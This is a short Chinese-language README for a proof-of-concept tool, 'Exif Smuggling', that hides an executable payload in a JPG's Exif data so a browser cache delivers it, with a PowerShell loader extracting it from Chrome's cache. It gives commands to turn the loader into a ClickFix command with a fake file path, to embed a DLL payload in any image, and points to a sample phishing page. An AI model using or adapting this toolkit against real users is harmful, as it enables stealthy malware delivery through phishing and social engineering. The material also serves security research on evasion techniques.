Exif Smuggling

这是缓存走私（Cache Smuggling）的一个概念验证演进。该攻击将可执行负载隐藏在JPG的Exif数据中。因此，图像缓存（例如网络浏览器的缓存）可用于被动下载该负载。

因此，示例加载器（chrome_poc.ps1）无需发起任何网络请求来获取第二阶段的负载。它只需从Chrome浏览器的缓存中提取即可。

详细信息请参阅：https://malwaretech.com/2025/10/exif-smuggling

使用示例

将PowerShell加载器转换为ClickFix命令

python3 build_clickfix_cmd.py --input-file chrome_poc.ps1 --output-file encoded_command.txt --fake-path "C:\test\doc.txt"

将负载dll嵌入任意JPG中

python3 exif_smuggling.py --input-file image.jpg --output-file payload.jpg --payload hello_world.dll

示例钓鱼页面

www/index.html